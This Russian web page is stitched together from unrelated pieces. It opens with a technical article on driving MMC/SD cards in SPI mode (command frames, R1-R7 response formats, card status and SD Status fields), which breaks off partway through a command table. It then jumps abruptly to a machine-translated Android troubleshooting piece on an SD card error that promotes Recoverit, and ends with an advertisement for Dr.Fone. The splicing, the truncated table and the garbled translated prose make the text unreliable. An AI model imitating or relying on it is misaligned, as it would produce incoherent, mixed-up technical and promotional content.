FDISK. Файловая система FAT32 применяется только для карт памяти высокой емкости (>= 4 гигабайта).

В этой статье рассмотрены основные знания и различные тонкости, которые нужно учитывать при использовании MMC/SDC вместе с малой встраиваемой системой (small embedded system) на микроконтроллере. Автор надеется, что эта информация окажется полезной как указания по быстрому старту людям, которые начинают использовать MMC/SDC в своих собственных самодельных проектах.

Цоколевка карт памяти


 

 

В качестве образца для подключения карты SD (или SDHC, или MMC) можно взять схему из макетной платы Olimex SAM7-EX256.

 

На фотографии показана контактная поверхность карты памяти SDC/MMC (а также карт miniSD и microSD). MMC имеет 7 контактов, а SDC имеет 9 контактов, из которых два добавочных по сравнению с MMC. 3 контакта назначены для подключения питания (power supply), так что количество сигналов данных составляет 4 для MMC и 6 для SDC. Таким образом, обмен данными между хостом и картой осуществляется через синхронный последовательный интерфейс.

Рабочее питающее напряжение индицируется через регистр корректных операций (operation conditions register, OCR), который должен быть прочитан, чтобы удостовериться, что питающее напряжение находится в допустимом рабочем диапазоне. Однако, питающее напряжение может быть зафиксировано на уровне 3.0/3.3 вольта, потому что все карты MMC/SDC работают в диапазоне питающих напряжений от 2.7 до 3.6 вольта как минимум. Потребление тока на операциях записи может достигать нескольких десятков миллиампер, поэтому система хоста (куда подключена карта) должна обеспечить мощность питающего напряжения 100 мА для питания карты.

Режим SPI (SPI Mode)

Этот документ описывает протокол для управления картами MMC/SDC в режиме SPI (SPI mode). Режим SPI является альтернативным вариантом функционирования, который определен для использования с MMC/SDC без традиционного интерфейса хоста (native host interface). Протокол коммуникации для режима SPI прост в сравнении с обычным режимом работы (native operating mode). Карта MMC/SDC может быть подключена к микроконтроллеру хоста через стандартный интерфейс SPI или обычные порты ввода/вывода GPIO. Таким образом, режим SPI хорошо подходит для недорогих встраиваемых приложений. Специально нет необходимости пытаться использовать native mode с дешевым микроконтроллером, так как у него наверняка не окажется соответствующего native host interface. Для карт SDC режим SPI mode 0 определен как собственный режим SPI. Для MMC нет тайминга SPI, оба действия фиксации и сдвига заданы по фронту сигнала SCLK, однако это также работает в SPI mode 0 для режима SPI. Таким образом, режим SPI Mode 0 (CPHA=0, CPOL=0) является правильной установкой для интерфейса MMC/SDC, но режим SPI mode 3 также хорошо работает во многих случаях.

Команда (Command) и ответ (Response)

В режиме SPI mode направление данных на сигнальных линиях фиксировано и данные передаются через байт-ориентированное последовательное соединение. Фрейм команды от хоста к карте фиксирован по длине (6 байт) пакета, который показан ниже. Когда фрейм команды передается в карту, то обратно из карты передается ответ на команду (R1, R2 или R3). Поскольку передача данных тактируется от хоста по специальной линии SCLK (выход хоста, вход карты), хост должен продолжать читать байты пока идет прием любого допустимого ответа карты. Сигнал DI (вход карты, выход хоста) должен удерживаться на высоком уровне во время передачи чтения (путем передачи хостом 0xFF и получения принятых данных). Ответ от карты посылается обратно в течение времени ответа на команду command response time (NCR), от 0 до 8 байт для SDC, и от 1 до 8 байт для MMC. Сигнал CS (выборка карты) должен быть установлен в низкий уровень перед отправкой фрейма команды и удерживаться в нижнем уровне в течение транзакции (command, response и передача данных data transfer, если таковые имеются). Возможность проверки CRC в режиме SPI является опциональной (необязательной), однако поле CRC всегда требуется для для составления фрейма команды.

Когда карта подключена native-способом (не через SPI), то все ответы на команду передаются через специальный сигнал команд CMD, и для обычной карты (SDC/MMC/SDHC) имеются типы ответов R1, R1b, R2, R3, R7. Когда карта подключена через SPI, то ответы передаются через сигнал выхода данных карты, и количество ответов ограничено типами R1, R1b, R2, R3. Карта SDIO имеет дополнительные типы ответов R4 и R5, для получения описания команд и ответов карт SDIO см. соответствующую спецификацию стандарта по картам SDIO.

Передача потока бит ответа всегда начинается с левого (старшего) бита для соответствующего кодового слова. Длина потока бит ответа зависит от типа ответа. Начальный бит является стартовым (он всегда равен 0), за ним идет бит, обозначающий направление передачи (для карты он равен 0). Значения, показанные как X в таблицах ниже, показывают изменяемое поле бит. Все типы ответа, кроме R3, защищены контрольной суммой CRC7. Каждое кодовое слово команды заканчивается битом окончания (всегда равен 1).

[R1 (обычный ответ на команду)]

Длина этот типа ответа составляет 48 бит (6 байт). Биты 45:40 показывают индекс команды, на которую выполнен ответ, это значение интерпретируется как двоичное число (значение от 0 до 63). Состояние карты (статус) кодируется в 32 битах (описание статуса карты см. во врезке «Card Status»). Обратите внимание, что если вовлечена передача данных в карту, то может появиться сигнал занятости на линии данных после передачи каждого блока данных (касается native-подключения карты). Хост должен проверять занятость после передачи каждого блока.

Таблица 4-29. Response R1.





Позиции бит 47 46 [45:40] [39:8] [7:1] 0
Ширина (в битах) 1 1 6 32 7 1
Значение поля 0 0 X X X 1
Описание start bit Бит передачи Индекс команды card status CRC7 end bit

[R1b]

Ответ R1b идентичен ответу R1 с опциональным сигналом занятости, передаваемым по линии данных выхода карты. Карта может оказаться занятой внутренней операцией после получения команд, в зависимости от её состояния перед приемом команды. Хост должне проверять занятость карты на каждом ответе карты.

[R2 (содержимое регистров CID, CSD)]

Длина этого ответа составляет 136 бит. Содержимое регистра CID (идентификатор карты) посылается в ответ на команды CMD2 и CMD10. Содержимое регистра CSD (параметры карты) передается в ответ на команду CMD9. Передаются только биты [127…1] регистров CID и CSD, зарезервированный бит [0] этих регистров заменяется конечным битом ответа.

Таблица 4-30. Response R2.





Позиции бит 135 134 [133:128] [127:1] 0
Ширина (в битах) 1 1 6 127 1
Значение поля 0 0 111111 X 1
Описание start bit Бит передачи Зарезервировано Содержимое регистра CID или CSD, включая их внутреннюю контрольную сумму CRC7. end bit

[R3 (регистр OCR)]

Длина этого ответа составляет 48 бит. Содержимое регистра OCR (operation conditions register) посылается в ответ на команду ACMD41.

Таблица 4-31. Response R3.





Позиции бит 47 46 [45:40] [39:8] [7:1] 0
Ширина (в битах) 1 1 6 32 7 1
Значение поля 0 0 111111 X 1111111 1
Описание start bit Бит передачи Зарезервировано Регистр OCR Зарезервировано end bit

[R6 (Published RCA)]

Для карты, подключенной через SPI, этот тип ответа не используется, потому что в этом режиме подключения команда CMD3 не поддерживается.

Длина ответа R6 составляет 48 бит. Биты 45:40 показывают индекс команды, на которую произведен ответ — в этом случае индекс будет равен 000011 (вместе с битом 5 битов статуса это будет означать = CMD3). 16 MSB старших бит в поле аргумента (Argument) используются для передачи номера Published RCA.

Таблица 4-32. Response R6.





Позиции бит 47 46 [45:40] [39:8] поле Argument [7:1] 0
Ширина (в битах) 1 1 6 16 16 7 1
Значение поля 0 0 X X X X 1
Описание start bit Бит передачи Индекс команды (000011) Новый Published RCA [31:16] карты [15:0] биты Card Status: 23, 22, 19, 12:0 CRC7 end bit

[R7 (Card interface condition)]

Это состояние интерфейса карты, длина ответа 48 бит. Поддерживаемое напряжение карты посылается в ответ на команду CMD8. Биты 19..16 показывают диапазон рабочих напряжений, которые может поддерживать карта. Карта, которая приняла предоставленное напряжение, вернет ответ R7. В этом ответе карта эхом передаст обратно диапазон напряжения и маску битов проверки (check pattern), переданный в аргументе команды.

Таблица 4-33. Response R7.





Позиции бит 47 46 [45:40] [39:20] [19:16] [15:8] [7:1] 0
Ширина (в битах) 1 1 6 20 4 8 7 1
Значение поля 0 0 001000 00000h X X X 1
Описание start bit Бит передачи Индекс команды Зарезервировано Voltage Accepted Обратное эхо check pattern CRC7 end bit

В таблице 4-34 показан формат поля ‘voltage accepted’ в R7.

Таблица 4-34. Поле Voltage Accepted в ответе R7.








Voltage Accepted Значения напряжения
0000b Не определено
0001b 2.7 — 3.6V
0010b Зарезервировано для диапазона низких напряжений питания
0100b Зарезервировано
1000b
Другие значения Не определено

Ответ формата R1 содержит 32-битное поле, которое называется card status (состояние карты). Это поле предназначено для передачи информации о состоянии карты (которая может быть сохранена в локальном регистре статуса) к хосту. Если не указано нечто иное, записи в статусе всегда относятся к ранее выданной команде. Таблица 4-35 определяет различные записи статуса. Поля типа (Type) и условия очистки (Clear Condition) обозначены сокращениями следующим образом:

Type (тип)

E: бит ошибки (Error).
S: бит статуса (Status).
R: детектирована и установлена информация для актукального ответа на команду.
X: детектирована и установлена информация во время выполнения команды. Хост может получить статус выдачей команды с ответом R1.

Clear Condition (условие очистки)

A: информация соответствует текущему состоянию карты.
B: всегда относится к предыдущей команде. Прием допустимой команды очистит это (с задержкой на одну команду).
C: очищено чтением.

Таблица 4-35. Card Status.





























Биты Идентификатор Type Значение Описание Clear Condition
31 OUT_OF_RANGE E R X 0: нет ошибки,
1: ошибка
Аргумент команды вышел за пределы допустимого диапазона для этой карты. C
30 ADDRESS_ERROR E R X 0: нет ошибки,
1: ошибка
Ошибочно выровненный адрес, который не соответствует длине блока, который использовался в команде. C
29 BLOCK_LEN_ERROR E R X 0: нет ошибки,
1: ошибка
Длина передаваемого блока не допустима для этой карты, или количество передаваемых байт не соответствует длине блока. C
28 ERASE_SEQ_ERROR E R 0: нет ошибки,
1: ошибка
Произошла ошибка в последовательности команд стирания. C
27 ERASE_PARAM E R X 0: нет ошибки,
1: ошибка
Произошел недопустимый выбор записываемых блоков для стирания. C
26 WP_VIOLATION E R X 0: не защищена,
1: защищена
Устанавливается, когда хост попытался выполнить запись в защищенный блок либо на временно защищенную от записи, либо на постоянно защищенную от записи карту. C
25 CARD_IS_LOCKED S X 0: карта не заблокирована,
1: карта заблокирована
Если установлен, то сигнализирует, что карта заблокирована хостом. A
24 LOCK_UNLOCK_FAILED E R X 0: нет ошибки,
1: ошибка
Устанавливается, когда была детектирована ошибка пароля в команде блокировки/разблокировки карты. C
23 COM_CRC_ERROR E R 0: нет ошибки,
1: ошибка
Ошибка CRC предыдущей команды. B
22 ILLEGAL_COMMAND E R 0: нет ошибки,
1: ошибка
Команда недопустима для текущего состояния карты. B
21 CARD_ECC_FAILED E R X 0: успешное завершение,
1: ошибка
Была применена внутренняя ECC, но произошла ошибка для корректных данных. C
20 CC_ERROR E R X 0: нет ошибки,
1: ошибка
Ошибка внутреннего контроллера карты. C
19 ERROR E R X 0: нет ошибки,
1: ошибка
Во время выполнения операции произошла общая или неизвестная ошибка. C
18 Зарезервировано
17
16 CSD_OVERWRITE E R X 0: нет ошибки,
1: ошибка
Произошла одна из следующих ошибок:
— Секция только для чтения CSD не соответствует содержимому карты.
— Попытка реверса копирования (копирование в место источника), или ошибка защиты от записи.
C
15 WP_ERASE_SKIP E R X 0: нет защиты от записи,
1: защита от записи
Устанавливается, когда была очищена только часть адресного пространства — из-за наличия защищенных от записи блоков, или очищалась карта, временно или постоянно защищенная от записи. C
14 CARD_ECC_DISABLED S X 0: разрешено,
1: запрещено
Была выполнена команда без внутреннего ECC. A
13 ERASE_RESET S R 0: очищено,
1: установлено
Была очищена последовательность стирания перед выполнением, потому что была принята команда выхода из последовательности стирания. C
12:9 CURRENT_STATE S X 0: idle
1: ready
2: ident
3: stby
4: tran
5: data
6: rcv
7: prg
8: dis
9..14:зарезервировано
15: зарезервировано для режима I/O
Состояние карты, когда принимается команда. Если выполнение команды приводит к изменению состояния карты, это увидит хост в отвт на следующую команду. Эти 4 бита интерпретируются как двоичное число со значением в диапазоне от 0 до 15. B
8 READY_FOR_DATA S X 0: нет готовности,
1: готовность к данным
Соответствует сигнализации по шине, что буфер пуст. A
7:6 Зарезервировано
5 APP_CMD S R 0: запрещено,
1: разрешено
Карта ожидает ACMD, или показывается, что команда была интерпретирована как ACMD. C
4 Зарезервировано для карты SD I/O.
3 AKE_SEQ_ERROR (специфика приложения SD Memory Card) E R 0: нет ошибки,
1: ошибка
Ошибка в последовательности аутентикации. C
2 Зарезервировано для команд, специфичных для приложения.
1:0 Зарезервировано для режима тестирования производителя.

Для каждой команды, на которую приходит ответ R1, в следующей таблице определены биты в статусе, на которые влияет эта команда. Символ ‘x’ в таблице обозначает, что бит ошибки/статуса может быть установлен в ответ на соответствующую команду.

Таблица 4-36. Взаимосвязь между полями статуса карты и командами.






























CMD#  Формат ответа R1, номера бит статуса.
31 30 29 28 27 26 25 24 23 22 21 20 19 18 17 16 15 14 13 12:9  8   5 
3(1)                 x x     x             x    
6(2) x           x   x x x x x x x         x    
7         x x x x x x x x x x x x x x x x x  
12 x x       x x   x x x x x x x     x   x    
13 x x     x x x x x x x x x x x x x x   x x  
16     x   x x x x x x x x x x x x x x x x    
17 x x     x x x x x x x x x x x x x x x x    
18 x x     x x x x x x x x x x x x x x x x    
24 x x x   x x x x x x x x x x x x x x x x x  
25 x x x   x x x x x x x x x x x x x x x x x  
26         x x x x x x x x x x x x x x x x    
27         x x x x x x x x x x x x x x x x    
28 x       x x x x x x x x x x x x x x x x    
29 x       x x x x x x x x x x x x x x x x    
30 x       x x x x x x x x x x x x x x x x    
32 x     x x x x x x x x x x x x x x x x x    
33 x     x x x x x x x x x x x x x x x x x    
38       x x x x x x x x x x x x x x x x x    
42         x x x x x x x x x x x x x x x x    
55         x x x x x x x x x x x x x x x x   x
56         x x x x x x x x x x x x x x x x x x
ACMD6 x       x x x x x x x x x x x x x x x x   x
ACMD13         x x x x x x x x x x x x x x x x   x
ACMD22         x x x x x x x x x x x x x x x x   x
ACMD23         x x x x x x x x x x x x x x x x   x
ACMD42         x x x x x x x x x x x x x x x x   x
ACMD51         x x x x x x x x x x x x x x x x   x

Примечания:

(1) Ответ на команду CMD3 это ответ R6, который включает в себя только биты 23, 22, 19 и 12:9 из информации Card Status.
(2) Эта команда была определена в версии 1.10.

SD Status содержит биты статуса, которые относятся к проприетарным функциям карт памяти SD, и они могут быть полезны для будущего использования в зависимости от приложения. Размер SD Status — один блок данных из 512 бит. Содержимое этого регистра передается хосту через шину данных (DAT) вместе с 16-битной CRC. SD Status отправляется к хосту по шине DAT как ответ на команду ACMD13 (CMD55, которая следует с CMD13). ACMD13 может быть отправлена в карту только в состоянии tran_state (карта выбрана). Ниже описана структура SD Status.

Для типа (Type) и условий очистки (Clear Condition) используются те же сокращения, какие были показаны во врезке «Card Status» выше.

Таблица 4-37. SD Status.
















Биты Идентификатор Type Значение Описание Clear Condition
511:510 DAT_BUS_WIDTH S R 00: 1 (по умолчанию),
01: зарезервировано,
10: 4 бита,
11: зарезервировано
Показывает текущую определенную шинину шины, как это было задано командой SET_BUS_WIDTH. A
509 SECURED_MODE S R 0: не в режиме защиты,
1: в режиме защиты
Показывает, находится ли карта в защищенном режиме (см. SD Security Specification). A
508:496 Зарезервировано
495:480 SD_CARD_TYPE S R 00xxh: карта SD Memory, как это определено в стандарте Ver1.01-2.00. В настоящее время определены следующие карты: 0000 это обычные карты SD RD/RW, 0001 это карты SD ROM. В будущем 8 младших бит будет использовано для определения различных вариаций карт SD Memory (каждый бит определит разные типы SD). Старшие 8 бит будут использоваться для определения карт SD, которые не соответствуют текущей спецификации SD Physical Layer. A
479:448 SIZE_OF_PROTECTED_AREA S R Размер защищенной области. См. описание ниже. A
447:440 SPEED_CLASS S R Класс скорости карты. См. описание ниже. A
439:432 PERFORMANCE_MOVE S R Быстродействие при перемещении данных в шагах по 1 мегабайту/сек. См. описание ниже. A
431:428 AU_SIZE S R Размер AU (единица данных, allocation unit). См. описание ниже. A
427:424 Зарезервировано
423:408 ERASE_SIZE S R Количество AU для стирания за 1 операцию. См. описание ниже. A
407:402 ERASE_TIMEOUT S R Значение таймаута для очистки областей, указанных через UNIT_OF_ERASE_AU. См. описание ниже. A
401:400 ERASE_OFFSET S R Фиксированное значение смещения, добавляемое для времени стирания. См. описание ниже. A
399:312 Зарезервировано
311:0 Зарезервировано для производителя.        

SIZE_OF_PROTECTED_AREA. Установка этого поля отличается для стандартных карт (Standard Capacity Card) и карт большой емкости (High Capacity Card). В случае Standard Capacity Card емкость защищенной области вычисляется следующим образом:

Protected Area (размер защищенной области) = SIZE_OF_PROTECTED_AREA_* MULT * BLOCK_LEN

Здесь SIZE_OF_PROTECTED_AREA указывается в единицах MULT*BLOCK_LEN.

В случае High Capacity Card емкость защищанной области указывается в этом поле так:

Protected Area (размер защищенной области) = SIZE_OF_PROTECTED_AREA

Здесь SIZE_OF_PROTECTED_AREA указывается в байтах.

SPEED_CLASS. Это 8-битное поле показывает класс скорости (Speed Class), и значение можно вычислить через Pw/2.

Таблица 4-38. Поле кода Speed Class.







SPEED_CLASS Значения
00h Class 0
01h Class 2
02h Class 4
03h Class 6
04h..FFh Зарезервировано

PERFORMANCE_MOVE. Это 8-битное поле показывае Pm, и это значение может быть установлено с шагом 1 [MB/sec]. Если карта не использует move RU, то Pm должно считаться бесконечностью. Установка в FFh означает бесконечность.

Таблица 4-39. Поле Performance Move.








PERFORMANCE_MOVE Значения
00h Не определено
01h 1 MB/сек
02h 2 MB/сек
FEh 254 MB/сек
FFh Бесконечность

AU_SIZE. Это 4-битное поле показывает разер AU, и это значение может быть выбрано в степенях 2, умноженное на 16 KB.

Таблица 4-40. Поле AU_SIZE.













AU_SIZE Значения
0h Не определено
1h 16 KB
2h 32 KB
3h 64 KB
4h 128 KB
5h 256 KB
6h 512 KB
7h 1 MB
8h 2 MB
9h 4MB
Ah..Fh Зарезервировано

Максимальный размер AU зависит от емкости карты, что определено в таблице 4-41. Карта может установить любой размер AU между размером RU и максимальным размером AU.

Таблица 4-41. Максимальный размер AU.



Емкость 16..64 MB 128..256 MB 512 MB 1..32 GB
Максимальный размер AU 512 KB 1 MB 2 MB 4 MB

Указания по применению: хост должне использовать максимальный размер AU (4 MB), чтобы определить размер буфера хоста. Хост может обрабатывать несколько AU, скомбинированных в один юнит.

ERASE_SIZE. Это 16-битное поле показывает NERASE. Когда стерто NERASE AU, знаение таймаута указывается через ERASE_TIMEOUT (см. ниже ERASE_TIMEOUT). Хост должен определить правильное количество AU для стирания, чтобы хост мог корректно отобразить состояние прогресса операции стирания. Если это поле установлено в 0, то вычисление таймаута стирания не поддерживается.

Таблица 4-42. Поле размера стирания (Erase Size).








ERASE_SIZE Значения
0000h Вычисление таймаута стирания не поддерживается.
0001h 1 AU
0002h 2 AU
0003h 3 AU
FFFFh 65535 AU

ERASE_TIMEOUT. Это 6-битное поле показывает время TERASE, и это значение означает таймаут стирания от смещения, когда стирается несколько AU, как задано ERASE_SIZE. Диапазон ERASE_TIMEOUT можно определить до 63 секунд, и производитель карты может выбрать любую комбинацию ERASE_SIZE и ERASE_TIMEOUT в зависимости от реализации карты. Как только был определен ERASE_TIMEOUT, он определяет ERASE_SIZE. Хост может определить таймаут для любого количества стираемых AU. Для вычисления таймаута стирания см. пункт 4.14 даташита [8]. Если поле ERASE_SIZE установлено в 0, тр это поле должно быть установлено в 0.

Таблица 4-43. Поле Erase Timeout.








ERASE_TIMEOUT Значения
0 Вычисление таймаута стирания не поддерживается.
1 1 секунда
2 2 секунды
3 3 секунды
63 63 секунды

ERASE_OFFSET. Это 2-битное поле показывает смещение TOFFSET, и можно выбрать одно из 4 значений. Смещение стирания подстраивает строку путем параллельного перемщения на верхнюю сторону. Подробнее см. рис. 4-11 и выражение (6) в пункте 4.14 даташита [8]. Это поле бесполезно, если поля ERASE_SIZE и ERASE_TIMEOUT установлены в 0.

Таблица 4-44. Поле Erase Offset.






ERASE_OFFSET Значения
0 0 секунд
1 1 секунда
2 2 секунды
3 3 секунды

Набор команд SPI (SPI Command Set)

Каждая команда выражена в сокращении типа GO_IDLE_STATE или CMD, число в индексе команды равно величине от 0 до 63. В таблице ниже описаны только команды, которые обычно используют для стандартных операций чтения записи (generic read/write) и инициализации карты. Подробности по каждой команде см. в спецификации от MMCA и SDCA.








Command
Index
Аргумент Response Data Аббревиатура Описание
CMD0 Отсутствует(0) R1 нет GO_IDLE_STATE Программный сброс (Software reset).
CMD1 Отсутствует(0) R1 нет SEND_OP_COND Запуск процесса инициализации.
ACMD41(*1) *2 R1 нет APP_SEND_OP_COND Только для карт SDC. Запуск процесса инициализации.
CMD8 *3 R7 нет SEND_IF_COND Только для карт SDC V2. Проверка диапазона напряжения питания.
CMD9 Отсутствует(0) R1 ДА SEND_CSD Чтение регистра CSD.
CMD10 Отсутствует(0) R1 ДА SEND_CID Чтение регистра CID.
CMD12 Отсутствует(0) R1b нет STOP_TRANSMISSION Остановка чтения данных.

SD-карта Нажмите здесь для передачи мультимедийных файлов Ошибка

В эпоху цифровых технологий ошибка неизбежна. В этой статье мы преодолеем одну из проблем, которые возникают в телефонах Android пользователями, у которых есть ошибка SD-карты «Нажмите здесь для передачи файлов мультимедиа». С этой проблемой сталкиваются многие пользователи серии Galaxy S. Просматривая веб-страницы, я нашел различные способы решения этой проблемы, здесь я расскажу об одном методе, с помощью которого была решена проблема.

Давайте возьмем для примера Samsung Galaxy S7; это решение будет работать для всех. Есть несколько вещей, которые мы можем сделать, чтобы починить телефон.

Часть 1. Как исправить SD-карту. Нажмите здесь, чтобы передать медиафайлы. Ошибка

После установки SD-карты вы получите уведомление о том, что SD необходимо изучить или отклонить. Вы можете просто стереть уведомление, чтобы игнорировать его. Однако сообщение может появляться снова и снова, пока вы не решите проблему. Это будет раздражать.

Вы можете попробовать отформатировать SD-карту, чтобы снова не столкнуться с такой неприятной ситуацией.Ниже приведены несколько шагов, которые помогут выполнить операцию форматирования на SD-картах.

  1. Во-первых, вы должны избавиться от системного кеша вашего устройства.
  2. Заходим в настройки-Хранилище-SD карта
  3. Будет возможность размонтировать или отформатировать.
  4. Форматирование SD-карты

Если вы все еще видите сообщение об ошибке, нажмите «Исследовать SD-карту» и используйте другой подход.

1 Очистить системный кеш на телефоне Android:

Иногда обновление приложений может привести к дискредитирующему системному кешу.Группа временных файлов, которые отвечают за максимально быструю загрузку приложений, являются основной подверженной ошибкам областью в системных файлах. Таким образом, загрузка обновлений для приложений означает модификацию системного кеша, поэтому есть вероятность, что проблема, с которой вы столкнулись, возникла из-за неправильной манипуляции с системным кешем. Считается, что для обеспечения исправления система находится в нормальном рабочем режиме. Для этого вы можете очистить область хранения раздела кеша. Вот подробности шагов:

Шаг 1. Выключите ваше устройство.

Шаг 2. Теперь снова включите его, нажав и удерживая кнопку питания сбоку.

Шаг 3. Когда на экране появится начальный экран, например, Samsung Galaxy S7, отпустите кнопку питания, но продолжайте нажимать кнопки «Домой» и «Увеличение громкости».

Шаг 4. При запуске устройства будет отображаться логотип Android, в это время вы можете расслабить нажатые клавиши и оставить устройство в этом состоянии на полминуты или около того.

Шаг 5. Вы можете выбрать параметры для продолжения, используя клавишу громкости, чтобы уменьшить громкость, и выбрать опцию с « очистить раздел кеша » с помощью клавиши питания.

Шаг 6. Когда вы дойдете до указанной зоны, вы можете удерживать кнопку питания, чтобы выбрать ее.

Шаг 7. Последний шаг — выбрать опцию с надписью « YES » и нажать кнопку питания, чтобы подтвердить выбор.

Шаг 8. Вы должны проявить терпение, пока устройство не завершит общий сброс. Как только это будет сделано, выберите «Перезагрузить систему сейчас» и удерживайте кнопку питания.

Шаг 9. Теперь устройство будет перезагружено дольше обычного.

2 Обновить все приложения и удалить несовместимые приложения

Даже если вы сначала убедитесь, что ваша система Android обновлена, это не гарантирует, что все ваши приложения тоже будут обновлены. Помня об этом, если вы убедились, что ваша версия Android полностью обновлена ​​и обновлена, но некоторые приложения или приложение не синхронизированы с этой обновленной версией, вы можете стать свидетелем проблемы или аномалии, и ваша ошибка SD следовательно, это оправдано, потому что не все приложения готовы со своими обновленными версиями в тот момент, когда появляется еще одна потенциальная версия Android, и не имеют свидетельств, подтверждающих их эффективность во всех обновленных операционных системах Android, что доказывает, что их системы неустойчивы и мешают возникновению ошибки, поскольку ну и, как мирянин с технологией в руках, у нас нет лучшего способа узнать, чем покаяться и пострадать от последствий, когда вред уже нанесен.Если вы убедились, что все ваши приложения обновлены вместе с версией Android, и ситуация сохраняется, удаление какого-либо стороннего приложения, предоставляемого платформой, а не человеком, который его изготовил, может помочь вернуть ситуацию в норму и ошибка может перестать отображаться на вашем экране, и теперь мы знаем, что было виновником и основной причиной вашей проблемы.

3 Загрузите телефон в безопасный режим

Переход в безопасный режим не позволяет работать ни одному стороннему приложению, упомянутому выше, и поэтому, если стороннее приложение отвечает за ошибку SD-карты, повторяющуюся на экране вашего телефона, делегирование в безопасный режим может быть гораздо лучшим способом для обнаружения вмешательства таких сторонних приложений, анализируя функциональность телефона в безопасном режиме.Также можно подразумевать, что использование этого подхода может быть эффективным козлом отпущения от неприятностей, связанных с удалением и отключением некоторых сторонних приложений, которые полезны и полезны для вас, просто ради того, чтобы избавиться от сомнений относительно вмешательства. Следуя этим простым шагам, можно легко войти или загрузить телефон в безопасном режиме:

Шаг 1. Выключите телефон Android долгим нажатием кнопки питания.

Шаг 2. Включите телефон, нажав и удерживая ту же клавишу.

Шаг 3. После того, как начальный логотип вашего телефона Android отобразится на экране, отпустите кнопку питания и одновременно нажмите и удерживайте кнопку уменьшения громкости.

Шаг 4. Подождите, пока телефон не завершит и не завершит процесс загрузки.

Шаг 5. Нажатие кнопки уменьшения громкости до тех пор, пока телефон не загрузится, переводит телефон в безопасный режим, то же самое можно проверить, установив «БЕЗОПАСНЫЙ РЕЖИМ», написанный в нижнем левом углу экрана телефона.Как только это будет сделано, вы перейдете в безопасный режим и можете отпустить кнопку уменьшения громкости и продолжить проверку функциональности вашего телефона.

4 Заводские настройки телефона

Если все вышеперечисленные параметры не срабатывают, вы также можете восстановить настройки устройства по умолчанию с помощью параметра сброса к заводским настройкам. Единственное, что вам нужно сделать, это держать ваше устройство в рабочем состоянии в течение нескольких часов, чтобы наблюдать, есть ли какие-либо различия, а также избегать установки каких-либо новых приложений во время наблюдения.Проблема должна быть решена сейчас, наблюдая за производительностью устройства, но если проблема сохраняется, даже если на устройстве нет ни одного из приложений, это означает, что основная причина проблемы должна быть связана с аппаратными компонентами или операционная система. Единственный вариант сейчас — обратиться в сервисный центр компании для ремонта.


Часть 2. Как восстановить потерянные данные с SD-карты при возникновении ошибок

Теперь вы можете вынуть SD-карту из слота и отформатировать ее на ПК с помощью кардридера, а затем снова вставить SD-карту.Это приведет к потере данных, хранящихся на вашей карте. Если данные уже зарезервированы, тогда вам хорошо идти, иначе есть несколько методов восстановления для восстановления потерянных данных. Один из таких методов — использование Recoverit для восстановления данных. Программное обеспечение для восстановления данных Recoverit принадлежит Wondershare, которое было самым эффективным и надежным программным обеспечением среди пользователей со всего мира. Это программное обеспечение также можно бесплатно загрузить с его официальных веб-сайтов или любых сторонних веб-сайтов, которые предоставляют полезное программное обеспечение в Интернете.

Это высококачественное программное обеспечение для восстановления, которое работает для возврата удаленных файлов из корзины, отформатированного диска, потерянного раздела или флэш-накопителя. Самое приятное то, что он поддерживает множество форматов файлов (текст, данные просмотра веб-страниц, изображения и видео).

Как восстановить потерянные данные с SD-карты при возникновении ошибок, выполнив 3 простых шага:

Шаг 1. Выберите устройство SD-карты

Шаг 2. Сканируйте свое устройство / компьютер

Шаг 3.Предварительный просмотр и восстановление потерянных файлов. Этот шаг поможет вам восстановить только необходимые файлы.

Это программное обеспечение имеет широкую аудиторию, которая фактически может быть заявлена ​​в более чем 160 странах и используется более чем несколькими миллионами людей по всему миру. Скачать бесплатную версию Recoverit на Mac или ПК с Windows очень просто. Пользователи, которые уже используют старую версию, могут легко обновить существующую до более высоких версий бесплатно. Это программное обеспечение для восстановления доступно на любой платформе.Он также имеет множество дополнительных функций для платных пользователей.

Recoverit — это новая версия программного обеспечения, выпущенная в мае 2019 года. У меня есть много функций и динамический интерфейс для конечных пользователей, который поддерживает снижение уровня сложности процесса, с помощью которого может быть выполнено восстановление.

Восстановление SD-карты

Восстановить данные карты
Исправление ошибок карты

3 способа быстрой передачи файлов с Samsung на ПК — Dr.Fone

Dr.Fone — Телефонный менеджер

Специальный инструмент для передачи файлов с Samsung на ПК

  • Перенести данные с Android на ПК / Mac или наоборот.
  • Перенос медиафайлов между Android и iTunes.
  • Действовать как диспетчер устройств Android на ПК / Mac.
  • Поддерживает передачу всех данных, таких как фотографии, журналы вызовов, контакты и т. Д.

Посмотреть видеоурок

Перенести файлы с Android-устройства на ПК очень просто.Если вы являетесь пользователем устройства Samsung, вы, скорее всего, будете пользователем Android, потому что Samsung теперь использует Android в качестве своей операционной системы на мобильных устройствах. И такие люди, как мы, не могут отказаться от каких-либо мер безопасности, чтобы сохранить в безопасности наши важные и полезные данные. Иногда мы теряем важные данные или старые файлы, которые несут важные воспоминания о нашем прошлом, просто потому, что не храним резервные копии файлов на нашем ПК. Поэтому очень важно, чтобы вы перенесли важные и необходимые файлы на компьютер в будущем.Если вы читаете эту статью, вы уже знаете, что она касается передачи файлов Samsung на ПК, и, прочитав ее, вы узнаете 3 лучших способа передачи данных с Samsung на ПК.

Хотите узнать, как передавать файлы с Samsung на ПК? Продолжайте читать до конца, чтобы узнать ответ как следует.

Часть 1: Лучшее программное обеспечение Samsung для передачи и управления файлами

Если вы пользуетесь устройством Samsung, для вас действительно важно знать, как передавать данные с Samsung на ПК.Вы должны хранить свои важные данные в резервной копии на своем ПК для будущего использования. В этом вам как профи может помочь Dr.Fone — Phone Manager (Android). Этот удивительный инструмент может помочь вам обеспечить передачу данных с вашего устройства Samsung на ПК. Это гарантирует, что никакие данные не будут потеряны в течение всего процесса. Не повреждая никаких данных, он выполнит вашу задачу как лучшее программное обеспечение для передачи файлов Samsung. Dr.Fone поддерживает более 8000+ устройств Android, включая Samsung. Красивый и легкий для понимания интерфейс отлично подойдет для передачи данных.Вот как вы можете использовать его для передачи файлов Samsung и Samsung galaxy на ПК —

Dr.Fone — Менеджер телефона (Android)

Smart Android Transfer для обмена данными между Android и компьютерами.

  • Передача файлов между Android и компьютером, включая контакты, фотографии, музыку, SMS и многое другое.
  • Управляйте, экспортируйте / импортируйте музыку, фотографии, видео, контакты, SMS, приложения и т. Д.
  • Перенесите iTunes на Android (наоборот).
  • Управляйте своим Android-устройством на компьютере.
  • Полностью совместим с Android 10.0.

3981454 человек скачали

